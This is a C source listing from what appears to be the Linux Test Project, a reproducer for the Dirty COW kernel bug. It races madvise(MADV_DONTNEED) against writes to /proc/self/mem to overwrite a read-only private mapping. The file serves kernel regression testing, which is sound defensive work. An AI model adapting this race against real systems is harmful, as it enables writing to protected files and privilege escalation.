• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
4  *  Based on: https://github.com/dirtycow/dirtycow.github.io
5  */
6 
7 #include <sys/mman.h>
8 #include <fcntl.h>
9 #include <pthread.h>
10 #include <unistd.h>
11 #include <sys/stat.h>
12 #include <string.h>
13 #include <stdlib.h>
14 #include <stdint.h>
15 #include <pwd.h>
16 
17 #include "tst_safe_pthread.h"
18 #define TST_NO_DEFAULT_MAIN
19 #include "tst_test.h"
20 
21 #define FNAME "test"
22 #define STR   "this is not a test\n"
23 
24 static char *str = "m00000000000000000";
25 static void *map;
26 static int mfd;
27 
28 /*
29  * You have to race madvise(MADV_DONTNEED) ::
30  * https://access.redhat.com/security/vulnerabilities/2706661
31  *
32  * This is achieved by racing the madvise(MADV_DONTNEED) system call while
33  * having the page of the executable mmapped in memory.
34  */
madvise_thread(void * arg)35 static void *madvise_thread(void *arg)
36 {
37 	int c = 0;
38 
39 	(void)arg;
40 
41 	while (1)
42 		c += madvise(map, 100, MADV_DONTNEED);
43 
44 	tst_res(TINFO, "madvise: %i", c);
45 
46 	return NULL;
47 }
48 
49 /*
50  * You have to write to /proc/self/mem ::
51  * https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
52  *
53  * The in the wild exploit we are aware of doesn't work on Red Hat Enterprise
54  * Linux 5 and 6 out of the box because on one side of the race it writes to
55  * /proc/self/mem, but /proc/self/mem is not writable on Red Hat Enterprise
56  * Linux 5 and 6.
57  */
proc_self_mem_thread(void * arg)58 void *proc_self_mem_thread(void *arg)
59 {
60 	int c = 0;
61 
62 	(void)arg;
63 
64 	while (1) {
65 		lseek(mfd, (uintptr_t) map, SEEK_SET);
66 		c += write(mfd, str, strlen(str));
67 	}
68 
69 	tst_res(TINFO, "write: %i", c);
70 
71 	return NULL;
72 }
73 
sighandler(int sig)74 void sighandler(int sig)
75 {
76 	(void) sig;
77 
78 	_exit(0);
79 }
80 
81 /*
82  * You have to use MAP_PRIVATE for copy-on-write mapping.
83  * Create a private copy-on-write mapping. Updates to the
84  * mapping are not visible to other processes mapping the same
85  * file, and are not carried through to the underlying file. It
86  * is unspecified whether changes made to the file after the
87  * mmap() call are visible in the mapped region.
88  */
main(void)89 int main(void)
90 {
91 	pthread_t pth1, pth2;
92 	int fd;
93 	struct stat st;
94 
95 	tst_reinit();
96 
97 	SAFE_SIGNAL(SIGUSR1, sighandler);
98 	TST_CHECKPOINT_WAKE(0);
99 
100 	/* Open it read only and map */
101 	fd = SAFE_OPEN(FNAME, O_RDONLY);
102 	SAFE_FSTAT(fd, &st);
103 
104 	map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
105 	mfd = SAFE_OPEN("/proc/self/mem", O_RDWR);
106 
107 	/* Try to rewrite it */
108 	SAFE_PTHREAD_CREATE(&pth1, NULL, madvise_thread, NULL);
109 	SAFE_PTHREAD_CREATE(&pth2, NULL, proc_self_mem_thread, NULL);
110 
111 	pause();
112 
113 	return 0;
114 }
115